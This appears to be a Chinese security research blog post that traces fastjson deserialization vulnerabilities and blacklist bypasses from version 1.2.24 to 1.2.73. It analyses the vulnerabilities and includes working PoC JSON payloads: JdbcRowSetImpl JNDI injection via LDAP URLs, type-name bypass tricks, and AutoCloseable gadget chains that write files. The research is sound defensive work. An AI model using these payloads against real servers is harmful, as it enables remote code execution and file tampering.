前言

fastjson养活了一大批安全从业人员,学习java安全也不得不对fastjson进行学习。在此整理了fastjson的历史漏洞中主要的几个反序列化漏洞,记录下开发者与安全研究者攻防对抗的过程。
文中用到的demo及PoC 下载地址

版本<=1.2.24

这应该是fastjson爆出的第一个反序列化漏洞,基本上没什么限制,可以直接通过jdbc构造jndi注入。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost/Test","autoCommit":true}
运行PoC调试分析其反序列化流程,报错的调用栈信息如下:

其中几个重要的类,fastjson主要通过JSON类将序列化和反序列化方法暴露给用户。在DefaultJSONParser类中进行json解析并对各种类型进行还原,它依赖JSONScanner来做词法解析,通过FastjsonASMDeserializer(在JavaBeanDeserializer类的基础上增加asm功能)来反序列化对象。补充:后续分析过程中发现不止JavaBeanDeserializer这一个反序列化操作类,会根据类的类型选择对应的操作类,以JavaBeanDeserializer兜底。

当解析到字段的key等于@type,会将该项的值最为类名来加载类

然后调用JavaBeanDeserializer.deserialze反序列化指定的类。反序列化过程中会调用符合条件的getter和setter方法来还原对象中的属性。
setter方法的限制:

方法名称长度>=4
非静态方法
返回类型为void或者当前类
函数只有1个参数

getter方法的限制:

方法名长度>=4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong

通过调用JdbcRowSetImpl.setdataSourceNamesetAutoCommit触发jndi注入从而rce。调用链具体分析省略
补充:原本以为JavaBeanDeserializer.deserialze过程中只会调用getter、setter方法,但在分析1.2.68的利用条件时存在疑问。对JavaBeanDeserializer.deserialze方法和JavaBeanInfo类进行了分析,创建JavaBeanDeserializer时会先生成目标类型的JavaBeanInfo对象,其中包含构造函数、方法、字段等信息。getter、setter等方法会转化为字段存储在JavaBeanInfo.fields。deserialze方法的逻辑简单归纳如下:

  1. 存在无参构造函数则会调用无参构造函数,并且调用getter、setter等方法
  2. 不存在无参构造函数,但存在JSONCreator注解(只能有1个),调用该注解标识的构造函数,并且调用getter、setter方法
  3. 不存在无参构造函数,不存在JSONCreator注解,存在有参构造函数(需要jdk带符号信息)。则遍历构造函数取参数最多的一个(一样多则按顺序取第一个),并且将构造函数的参数作为字段,解析完所有字段后调用该构造函数创建实例
  4. 不存在上述构造函数,则只调用getter、setter方法
    构造函数需要是public

版本1.2.25-1.2.41

对比1.2.24和1.2.25的代码,原先通过TypeUtils.loadClass来加载类,修改后通过config.checkAutoType来加载类。

具体看一下checkAutoType的限制:
开启autotype或者设置了expectClass的情况,先进行白名单查找,匹配到则调用TypeUtils.loadClass加载类;然后如果匹配到黑名单则抛出异常。默认情况下autotype=false,expectClass=null,不会进入此流程。

autotype关闭的情况下,类似上面的情况。但先匹配黑名单,再匹配白名单。

上面两种情况没找到,也就是黑白名单都没匹配到。则再判断开启autotype或者设置了expectClass(同第一处判断条件),调用TypeUtils.loadClass加载类。最后判断类型是否符合期望

白名单默认为空,黑名单如下:

默认情况下autotype关闭,只加载白名单中的类。此阶段的对抗主要在于开发者手动开启了autotype,对黑名单的绕过和加固。
TypeUtils.loadClass中如果类名以L开始、以;结束,则会截取字符串重新加载。由于黑名单校验在此之前,并且使用startWith进行匹配。所以通过Lcom.sun.rowset.JdbcRowSetImpl;可以绕过黑名单校验。

版本1.2.42

为了修复L;绕过的问题,在checkAutoType函数中会去掉开头L和结尾; 。并且将黑白名单从明文改成了hash校验,但依然是从前往后一个个字符进行校验。

这里的绕过方式也非常简单,通过LLcom.sun.rowset.JdbcRowSetImpl;;绕过

版本1.2.43

针对上面的情况,在版本1.2.43增加了判断条件,检测到LL则抛出异常。

然而TypeUtils.loadClass中对以[开始的类名也做了处理,可以继续构造数组形式的类型,在parseArray函数中触发反序列化。
"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost/test\",\"autoCommit\":true}"

在1.2.44版本中检测到[开始或者L开始;结尾两种情况都会直接抛出异常,至此无法再使用此方式绕过黑名单校验。

版本1.2.47

再看下checkAutoType函数,对部分代码进行了隐藏,重点的流程如下

  1. autoTypeSupport || expectClass != null,先匹配白名单再匹配黑名单
  2. TypeUtils.getClassFromMapping 从mappings查找类
  3. deserializers.findClass 从buckets查找类
  4. autoTypeSupport关闭,先匹配黑名单再匹配白名单
  5. TypeUtils.loadClass,从mapping查找类,查不到则会对[、L;进行处理,然后从classLoader.loadClass、contextClassLoader.loadClass、Class.forName来加载类

默认白名单为空,所以不管开不开autotype,只能加载mappings和buckets中包含的类。使用PoC进行调试 {"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://127.0.0.1/Exploit", "autoCommit": true}}
deserializers.findClass时从bucket找到了java.lang.Class,然后调用deserializer.deserialze来反序列化类。此时的serializer为MiscCodec,其中对多种常见类型进行反序列化。当需要反序列化Class时,调用TypeUtils.loadClass来加载类。

调用一参数和两参数的loadClass方法时,会设置cache=true。cache为true时,成功加载类之后会将其(com.sun.rowset.JdbcRowSetImpl)放入mappings中

所以再次调用checkAutoType时,由于com.sun.rowset.JdbcRowSetImpl在mappings中,能够通过TypeUtils.getClassFromMapping查到到类并返回,绕过了对黑名单的检查。
除了java.lang.Class之外,mappings和buckets中可能还有其他类能够进行一些利用。

版本1.2.48-1.2.68

对比1.2.47与48的代码,主要做了这些修改。TypeUtils.loadClass两参数的方法中将cache默认设为false,并且对loadClass三参数方法中对所有的mappings.put加上了cache的判断。并且修改了各处对TypeUtils.loadClass的调用中cache参数,MiscCodec类中cache改为false,checkAutoType方法中加载白名单类时cache为true。

对exceptClass也进行了调整

原先的版本中不管开不开autotype,前面没加载到类的情况下,最后都会调用TypeUtils.loadClass来加载类。但是修改后,增加了一个额外的条件(autoTypeSupport || jsonType || expectClassFlag),三项至少有一项为true才允许加载。

所以不开autotype的情况下只能通过mappings和buckets中内置的类进行利用。网上流传的两个利用类:AutoCloseable和Throwable(实际是用的java.lang.Exception走ThrowableDeserializer,java.lang.Throwalbe并不在内置名单中)。前者通过JavaBeanDeserializer来还原类,后者通过ThrowableDeserializer来还原类。但两者原理类似,都是通过指定了exceptClass来加载指定类型的派生类。

由于有exceptClass的限制,想要找到rce的利用链变得比较复杂了,网上公开的利用链多是文件读写类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}

jdk11可以复现,jdk8报错 default constructor not found. class sun.rmi.server.MarshalOutputStream
jdk8获取不到构造函数的参数,根据@rmb122 的说法应该是windows中的jdk8没带符号信息导致的。具体细节后续再分析

版本1.2.69-1.2.73

相比于1.2.68的代码,ParserConfig类中主要的改动是对黑名单进行了加固,再checkAutoType方法中exceptClass增加了对java.lang.AutoCloseablejava.lang.Readablejava.lang.Runnable的拦截。

不开safeMode的情况下,依然有可能通过mappings中内置的类来绕过autoType。而buckets中存储的类指定了反序列化操作类,这些类不太可能被利用。

比如在mappings中的java.lang.Exception没有被拦截,但较难找到利用链

其他

JSONPath功能 https://github.com/alibaba/fastjson/wiki/JSONPath
调用parser.parse()解析json字符串时,其中遇到$ref类型的key时,会将其添加到ResolveTask。字符串解析完成后调用handleResovleTask进行处理

调用jsonpath.isRef时会把ref解析按JSONPath语法解析成多个Segment,每种Segment的功能不一样。暂时只简单介绍PropertySegment,它会通过属性或者调用getter方法来获取数据。

jsonpath.eval会遍历所有Segment依次执行,并且上一个Segment执行的结果会作为参数传递到下一个Segment。也就是链式调用,可以通过’$ref’:’$a.bbb.ccc.ddd’调用a.getBbb().getCcc().getDdd()方法

参考链接

https://xz.aliyun.com/t/7027
https://mp.weixin.qq.com/s/wdOb5ESfbkMSfdDlRvOg-g
https://b1ue.cn/archives/382.html
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/

附:

浅蓝发的1.2.68利用第三方gadget写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "f:/test/pwn.txt",
"tempPath": "f:/test/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "YjF1M3I=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}



Published with Hexo and Theme by Kael
X